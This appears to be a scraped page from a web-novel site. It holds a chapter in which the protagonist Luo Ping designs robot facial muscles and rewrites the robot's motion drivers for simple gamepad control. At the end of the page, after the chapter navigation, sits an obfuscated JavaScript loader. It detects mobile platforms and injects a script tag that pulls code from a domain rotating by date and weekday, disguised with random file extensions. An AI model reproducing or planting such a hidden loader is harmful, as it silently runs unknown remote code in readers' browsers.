返回第53章 忘我  曾经心动Zzz首页

关灯 护眼     字体:

上一章 目录 下一章

初一这天,罗平感觉脑袋里灵感不断,前面困扰了好长时间的问题,忽然之间就豁然开朗,机器人面部几十块肌肉的布置,只花了一上午的时间就设计好了。

不过,光有设计不行,还需要实际装到机器人脑袋上进行验证,仿真肌肉也需要专门的材料调制,过年期间很多东西不方便买到,也只能暂时搁置。

硬件暂时做不了,那就研究软件。

先前在学校里和陆伟调试机器人,半个多月的时间,罗平对于c语言基本运用也算熟悉了,尤其是那些动作函数的设计思路,如何叠加,如何设置参数,如何发挥作用,他是已经知道是怎么回事。

机器人每根骨骼形状,每一根代替肌腱的钢丝都是出自罗平的设计,他亲手组装起来,没有人比他更了解机器人的身体,现在对底层动作函数又有了深入的了解,他觉得可以自己设计一套不同的驱动程序。

陆伟把动作函数编写的很精确,每个动作分解步骤,每根骨头如何驱动,动作时间,动作行程都能通过参数精密控制,可以把机器人的每一分力量都发挥出来。

正是由于这样的编程思想局限,陆伟编写的驱动程序对错误容忍度很低,总想做出能效比最高的动作,每个动作都控制的很精准,这也导致了机器人只能亦步亦趋,在特定场景下行动没问题,环境变化稍微大一点就难以适应。

罗平想换一种程序思路,在陆伟这套动作函数的基础上,编写一套容错率高的驱动程序,回归到他最初的构想,通过游戏手柄简单的指令,普通人也能很轻松的上手操作机器人活动。

这样的驱动程序,需要采用一种截然相反的底层逻辑框架,不追求动作精准度,不追求最高能效比,容许机器人动作误差,以完成操控指令为驱动导向。

按照这样的程序思路,机器人不再是单纯的指令机器,而要有一定逻辑判断能力,必须知道什么是目标,怎么样才算达成指令,有了这些判断,才可能以结果为导向。

想要机器人识别目标,现有的摄像头,麦克风,陀螺仪等感应装置都应该发挥作用,不像现在大部分时间都是摆设。

陀螺仪只涉及到几个简单的信号反馈,判断相对容易,声音以及图像包含的信息量就太大了,如何提取有效信息做出判断,好像并没有那么容易。

罗平在网上搜集相关的信息,顿时感觉无比头大,图像识别是当前人工智能领域最热门的研究领域,还搜出好几篇论文概要,当前主导研究的都是世界顶级大公司,投入的资金数以亿计,还需要海量的图像资料和算力支持,根本不是他所能涉足的领域。

去年最轰动的事件,就是古哥公司的团队用一点六万台计算机组网,构建了一个庞大计算机神经网络系统,用一周的时间调用海量视频进行训练,最终成功的让这个智能网络花费三天时间,在一千万个视频中,识别出与猫相关的视频。

这个看似搞笑的研究成果,据说开启了人工智能的新纪元,证明了只要算力足够,程序也是可以自主学习的。

罗平知道十几年后人工智能发展到什么程度,那也是此后无数精英接续努力,海量资源堆砌出来的成果,让他一个没资金没技术的外行参与其中,那就有点异想天开了,距离人工智能的研究门槛都不知道还有多远。

视频识别难度太大,罗平不觉得自己一个人能逆天,只好暂时放弃,声音识别倒是还有些可能,当前已经有中文语音识别的软件出现,如果能借助这个技术,倒是可以让机器人通过声音识别语音指令。

进一步搜索语音识别相关信息,罗平没有找到免费共享的代码,只有需要授权的软件,还不能马上拿过来使用。

声音和图像信息都不能使用,机器人最后能依赖的只有陀螺仪、模拟触觉的压力和温度传感器了。

这些传感器价格相对便宜,附近的电子市场可选种类很多,罗平早就买了一批不同型号的回来,准备后续给机器人做皮肤的时候加入进去实验,现在看来,信号简单的传感器反而更可靠。

如果只考虑让机器人执行命令,好像也可以简化判断能力,不需要那么多逻辑思考,甚至都不需要外界感知,有陀螺仪能识别自身状态就够了。

只要能机器人还能动,前进就一往无前,跌倒了还可以爬起来继续前进,站不起来向前爬也行,没有思考能力也不用担心失控的问题!

最好有个磁力计,确定东西南北的方向,这样不至于摔一跤就找不到北了。

还可以加一个卫星定位装置,能更精准的定位自身位置,方向更准确。

确定了整体思路后,罗平开始琢磨控制机器人需要哪些必不可少的指令,太多了游戏手柄难以控制,指令越少意义越模糊,得找到最佳平衡点。

四个方向键必不可少,还要有模式切换,普通模式,战斗模式,工作模式或者其他的模式可以快速切换。

不同的模式,功能键对应的功能必不可少,动作相关的走路、蹲、跳、爬行也必不可少,转向、抓头可以用组合键方式实现。

罗平设想的这些控制指令,有的陆伟他们先前的程序已经有了,有的还没有写,不过即便以前完成的那些,也需要重新修改,目前陆伟修改完成的也就是一些简单的动作,只实现了最基本的功能,还需要通过笔记本下达指令,以便随时进行修正,属于调试版本。

现在确定新的思路,罗平的最终目标是用最简单的游戏手柄,实现对机器人的操控,可以让机器人发挥大部分功能。

由于硬件基础所限,机器人不具备外界感知能力,只能通过传感器确定自身部分状态,相当于一台纯粹的动作机器,动作纠错能力全部来自程序预设的逻辑判断。

陆伟几个人先前的工作,主要就是把机器人一百多个可控制的骨头都编写了动作函数,每个函数还有多个可调参数。

有了这些动作函数为基础,罗平要做的就是为每个操作指令选择对应的动作函数,设定起始时间、动作幅度、循环次数、动作类型等等初始参数,确保每个指令都能正确执行。

陆伟原先的思路也没错,只是在罗平看来过于死板,只能应对理想状况,环境稍微复杂一点就不能应对,不符合他的要求。

他们的代码写的很规范,罗平不需要完全从头开始,就在他们的代码基础上修改,加上自己设定的逻辑判断语句,写起来就很快。

罗平全身心投入进去,午饭都忘了吃,直到大门轰隆轰隆被砸响,他才从那种聚精会神的忘我状态里出来。

拿起一边的手机一看,已经下午五点多了,他为了防打扰,手机开启了飞行模式,估计是罗娜电话没打通,找上门来了。

👉&128073; 当前浏览器转码失败:请退出“阅读模式”显示完整内容,返回“原网页”。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");